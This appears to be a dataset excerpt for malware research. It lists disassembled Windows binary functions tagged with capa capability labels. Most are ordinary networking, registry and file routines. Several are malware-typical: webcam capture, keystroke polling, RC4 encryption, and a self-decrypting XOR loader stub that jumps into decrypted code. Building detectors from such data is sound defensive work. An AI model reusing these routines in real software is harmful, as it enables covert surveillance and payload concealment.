joyce8/EMBER2024-capa huggingface dataset:
Function at 0x464c20
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00464d70
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x464c40
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x464c21
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00464d70
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x464c40
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x464c70
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
xor eax, eax
push esi
push edi
mov dword [esp + 8], eax
mov edi, ecx
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call sub.WS2_32.dll_htons
mov esi, dword [esp + 0x1c]
mov word [esp + 0xa], ax
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x464cc7
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x464cdd
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [esp + 0xc], ecx
lea edx, [esp + 8]
push 0x10
push edx
mov ecx, edi
call fcn.00464d00
pop edi
pop esi
add esp, 0x10
ret 8
push 0x2726
call sub.WS2_32.dll_WSASetLastError
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x464d00
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
mov eax, dword [ecx]
push edx
push eax
call sub.WS2_32.dll_connect
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 8

Function at 0x464d90
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x464dd9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4
Function at 0x465250
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x48b290
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00464e00
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00464e80
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00464e80
lea ecx, [esi + 0xc]
call fcn.0047c68e
lea ecx, [esi + 0x10]
call fcn.0047c68e
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004676b0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004676b0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004676b0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0047c703
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0047c703
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x465ef8
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x48b4b8
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x465f08
call fcn.00466420
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x465feb
cmp byte [edi], 0
je 0x465feb
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x465f2d
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.00464c20
test eax, eax
jne 0x465f4d
push 0x58d4c8
lea ecx, [esi + 0x38]
call fcn.0047c840
jmp 0x465feb
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.00464c70
test eax, eax
jne 0x465f7c
mov ecx, esi
call fcn.00464d70
push edi
add esi, 0x38
push 0x58d4a4
push esi
call fcn.0047a467
add esp, 0xc
jmp 0x465feb
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.00466ca0
test eax, eax
je 0x465fe4
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.004660c0
test eax, eax
jne 0x466000
push edi
lea eax, [esi + 0x38]
push 0x58d480
push eax
call fcn.0047a467
add esp, 0xc
mov ecx, esi
call fcn.00466420
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x4660a8
mov ecx, dword [0x58d868]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.0047a467
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.00464d20
test eax, eax
jne 0x46606a
push 0x58d464
lea ecx, [esi + 0x38]
call fcn.0047c840
jmp 0x46607a
push 0xfa
mov ecx, esi
call fcn.00466ca0
test eax, eax
jne 0x466097
mov ecx, esi
call fcn.00466420
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0047c703
jmp 0x465feb
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0047c703
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x468220
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x4682c3
test eax, eax
jbe 0x4682c3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x4682c3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x46826e
xor esi, esi
jmp 0x468274
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x46829f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00417400
add esi, eax
push esi
mov ebx, esi
call fcn.00417400
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x468280
pop ebp
test edi, edi
pop edi
jne 0x4682c3
test ebx, ebx
je 0x4682c3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0046cad0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x468405
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x46851d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x46851d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0047e104
mov esi, eax
test esi, esi
je 0x46851d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x46851d
mov ecx, esi
call fcn.00468370
cmp edi, eax
jge 0x46851d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x4684a3
mov dword [esp + 0x34], 1
jmp 0x4684fe
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x46851d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.00467900
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x47eaa7
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x47eadf
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0047cb5e
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047cb36
jmp 0x47eaeb
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x48019a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4801dc
call fcn.00485d11
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4801dc
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4801d3
xor eax, eax
jmp 0x4801e4
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004801ea
pop edi
pop esi
pop ebx
ret 4

Function at 0x486241
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x48626f
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x48628d
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004861a7
jmp 0x48628d
mov eax, dword [esi + 0x14]
test eax, eax
je 0x48628d
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004861a7
test edi, edi
mov eax, edi
jne 0x486277
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x44beb0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44c151
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
call fcn.0044e5c0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 0xc
call fcn.0044e760
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
add ecx, 0x20
call fcn.0044eba0
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x2c], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 0x4503e8
call fcn.0045d062
mov ecx, eax
call fcn.0044ebd0
mov edx, dword [ebp - 0x10]
mov byte [edx + 0x30], al
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x450e30
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44c765
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x10]
call fcn.0044fdc0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
call fcn.00454f20
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x10], eax
push 1
push 0x3f1
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x10]
add ecx, 0x14
call fcn.0044fcd0
push 1
push 0x3f2
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x18
call fcn.0044fcd0
push 1
push 0x3f3
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0x1c
call fcn.0044fcd0
push 1
push 0x3f4
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x10]
add ecx, 0x20
call fcn.0044fcd0
push 1
push 0x3f5
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x24
call fcn.0044fcd0
push 1
push 0x40d
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0x28
call fcn.0044fcd0
push 1
push 0x3f7
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x10]
add ecx, 0x2c
call fcn.0044fcd0
push 1
push 0x40e
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x30
call fcn.0044fcd0
push 1
push 0x3ed
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0x34
call fcn.0044fd90
push 1
push 0x410
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x10]
add ecx, 0x38
call fcn.004502f0
mov byte [ebp - 4], 1
push 1
push 0x3ee
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x58
call fcn.0044fd60
push 1
push 0x3e8
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0x5c
call fcn.0044fd60
push 1
push 0x3eb
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x10]
add ecx, 0x60
call fcn.0044fd60
push 1
push 2
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x64
call fcn.0044fd60
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x68], 0
mov edx, dword [ebp - 0x10]
mov dword [edx], 0x450598
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0xde0800
Capabilities:
Encode data using xor

Disassembly:
call 0xde0805
pop edx
sub edx, 0x401005
call fcn.00de0e1f
mov eax, section.CODE
add eax, edx
sub eax, 0x9e0800
mov ebx, eax
add ebx, 0x3c
mov ebx, dword [ebx]
add eax, ebx
movzx eax, word [eax + 0x16]
test eax, 0x2000
je 0xde0f65
mov byte [edx + 0x401405], 1
jmp 0xde0f65
mov ebx, 0x40140e
add ebx, edx
push ebx
push dword fs:[0]
mov dword fs:[0], esp
call fcn.00de0ee8
pop dword fs:[0]
pop ebx
jmp 0xde0faa
mov eax, section.CODE
add eax, edx
sub eax, 0x9e0800
mov ebx, eax
add ebx, 0x3c
mov ebx, dword [ebx]
add ebx, eax
mov ecx, dword [ebx]
cmp ecx, 0x4550
jne 0xde1012
movzx ecx, word [ebx + 0x54]
push esi
mov esi, eax
xor eax, eax
mov eax, dword [edx + 0x401401]
movzx ebx, byte [esi]
call fcn.00de0f87
inc esi
loop 0xde0fd8
pop esi
mov ecx, 0x9e00
mov ebx, section.CODE
add ebx, edx
sub ebx, 0xa800
add ebx, ecx
cmp dword [ebx - 4], eax
jne 0xde1012
push edi
mov edi, ebx
shr ecx, 2
sub edi, 4
xor dword [edi], eax
mov ebx, dword [edi]
call fcn.00de0f87
loop 0xde1003
pop edi
mov ebx, section.CODE
add ebx, edx
sub ebx, 0xa800
jmp ebx
Function at 0x415790
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48e06b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004803c1
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x415812
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0047dd10
mov eax, dword [eax]
push 0x74b240
push eax
call fcn.0046fa54
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048064c
test bl, bl
je 0x415812
push 0x74b240
lea ecx, [esp + 0xc]
call fcn.00480a28
push 0x74edbc
lea ecx, [esp + 0xc]
call fcn.00480a28
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41584e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048064c
jmp 0x415919
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4158d2
lea edx, [esp + 0x7c]
push 0x74edb8
push edx
call fcn.0046fa54
add esp, 8
test eax, eax
je 0x4158d2
lea eax, [esp + 0x7c]
push 0x74edb4
push eax
call fcn.0046fa54
add esp, 8
test eax, eax
je 0x4158d2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x415862
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048064c
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x416b70
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x416bd2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x416be0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x48e1cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x7561b8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x416d18
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x416c46
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048064c
xor eax, eax
jmp 0x416d8f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004807d5
push esi
lea ecx, [esp + 0xc]
call fcn.00480a64
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x74edf4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x416d6d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00416b70
test eax, eax
jne 0x416d6d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00416b70
test eax, eax
jne 0x416d6d
lea eax, [esp + 0x14]
push 0x74edd0
push eax
call fcn.00470c00
mov esi, eax
add esp, 8
test esi, esi
jne 0x416d4c
lea ecx, [esp + 0x14]
push 0x74edcc
push ecx
call fcn.00470b80
mov esi, eax
add esp, 8
test esi, esi
jne 0x416d4c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x416d4f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00480785
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x416c5e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048064c
xor eax, eax
jmp 0x416d8f
mov byte [esi], 0
push 0x74edc8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048064c
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4277f0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42785e
cmp si, 0x69
ja 0x42785e
add esi, 0xffd0
cmp si, 0x11
je 0x42782e
push 0x11
call edi
test ax, ax
jge 0x42782e
or esi, 0x2000
cmp si, 0x10
je 0x427843
push 0x10
call edi
test ax, ax
jge 0x427843
or esi, 0x4000
cmp si, 0x12
je 0x427858
push 0x12
call edi
test ax, ax
jge 0x427858
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42786b
mov esi, 0xbd
jmp 0x42781f
cmp si, 0x6e
jne 0x427878
mov esi, 0xbe
jmp 0x42781f
cmp si, 0x6f
jne 0x427819
mov esi, 0xbf
jmp 0x42781f

Function at 0x429020
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x7670c0]
xor edx, edx
cmp eax, edx
jne 0x429046
xor eax, eax
mov byte [eax + 0x766fc0], al
inc eax
cmp eax, 0x100
jl 0x42902e
mov dword [0x7670c0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x766fc0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4290d7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4290aa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x429078
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x429150
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4291a3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42918a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret